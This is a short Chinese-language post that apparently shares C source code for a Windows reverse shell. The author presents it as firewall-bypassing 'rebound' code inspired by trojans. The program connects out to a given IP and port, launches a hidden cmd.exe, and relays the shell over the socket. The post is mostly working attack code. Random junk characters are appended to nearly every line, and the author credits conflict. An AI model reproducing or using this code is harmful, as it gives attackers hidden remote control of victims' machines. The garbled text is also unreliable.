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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x)j/  
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/* ============================== V_Xy2<V  
Rebound port in Windows NT ^eT@!N  
By wind,2006/7 JOJh,8C) 6  
===============================*/ XpR.rq$]  
#include c/b%T  
#include ('T4Db  
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#pragma comment(lib,"wsock32.lib") m{vT_ei  
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void OutputShell(); tvTWZ`  
SOCKET sClient; y*}AX%8`e~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]vRVo6@ k  
|^Y*~d<H  
void main(int argc,char **argv) 3aEt>x  
{ sk~za  
WSADATA stWsaData; ?hxK/%)  
int nRet; TG4\%S$w  
SOCKADDR_IN stSaiClient,stSaiServer;   YfTd  
B{;11 u  
if(argc != 3) mgo'MW\   
{ hK:#+hg,  
printf("Useage:\n\rRebound DestIP DestPort\n"); CFD*g\g<*  
return; `oB'(  
} b;Hm\aK  
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WSAStartup(MAKEWORD(2,2),&stWsaData); I%pCm||p  
|)28=Z|Z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }Vs~RJM)}  
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stSaiClient.sin_family = AF_INET;  yQ<6p3  
stSaiClient.sin_port = htons(0); _2]e1_=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F<h&3  
$eK8GMxZ#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J f\Qf  
{ ?nB he lW^  
printf("Bind Socket Failed!\n"); (hpTJsZ  
return; T {hyt  
} ,@}W@GGP)  
:5r:I[FFy  
stSaiServer.sin_family = AF_INET; -;l`hRW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7YMxr3F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2.^7?ok  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .Q l;(Wyl  
{ `K$:r4/[  
printf("Connect Error!"); )3k)2XF  
return; FI3sLA  
} ' %bj9{(0  
OutputShell(); b%=1"&JI:  
} {[l'S  
j'G"ZPw1  
void OutputShell() {fAh@:{@  
{ (jp1; #P!  
char szBuff[1024]; xnl<<}4pJ  
SECURITY_ATTRIBUTES stSecurityAttributes; {;]uL`abi?  
OSVERSIONINFO stOsversionInfo; :`{9x%o;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *raIV]W3  
STARTUPINFO stStartupInfo; wlm3~B\64  
char *szShell; sqm%iyC=q  
PROCESS_INFORMATION stProcessInformation; 2A dX)iF@  
unsigned long lBytesRead; lH6Cd/a  
ph Wc 8[Q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :GN)7|:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xulh.: N}  
stSecurityAttributes.lpSecurityDescriptor = 0; 0|],d?-h  
stSecurityAttributes.bInheritHandle = TRUE; >g5T;NgH9  
/AK*aRU^  
G/x3wR  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bl(BA}<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @"q~ AY  
c28oLT1|D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PiIp<fJd$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^U0apI  
stStartupInfo.wShowWindow = SW_HIDE; yC9:sQ'k  
stStartupInfo.hStdInput = hReadPipe; / e~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n`FQgC  
B| $\/xO  
GetVersionEx(&stOsversionInfo); 2jI4V;H8g  
5O;/ lX!u  
switch(stOsversionInfo.dwPlatformId) [i,5>YIk  
{ yrxx+z|wR  
case 1: 0hH Iz4(  
szShell = "command.com"; oN1!>S9m  
break; <[ g$N4  
default: x]yHBc  
szShell = "cmd.exe"; ')5jllxv  
break; }e&KO?x+  
} ANA2S*r  
J8qu]{0I"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >m)2ox_B  
GQYtH#  
send(sClient,szMsg,77,0); kw*Cr/'*  
while(1) '^P*F9  
{ R7\{w(`K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :ofE8]  
if(lBytesRead) kMwIuy  
{ :kf3_?9rc  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [#H8=  
send(sClient,szBuff,lBytesRead,0); )w }*PL  
} e3HF"v]2!  
else pAPQi|CN  
{ ZI#SYEF6  
lBytesRead=recv(sClient,szBuff,1024,0); 4fU5RB7%  
if(lBytesRead<=0) break; sT;=7 L<TA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D{&+7C:8.  
} L!G9O]WB  
} ^>P@5gcoE(  
3rXL0&3w%  
return; mCEKEX  
}
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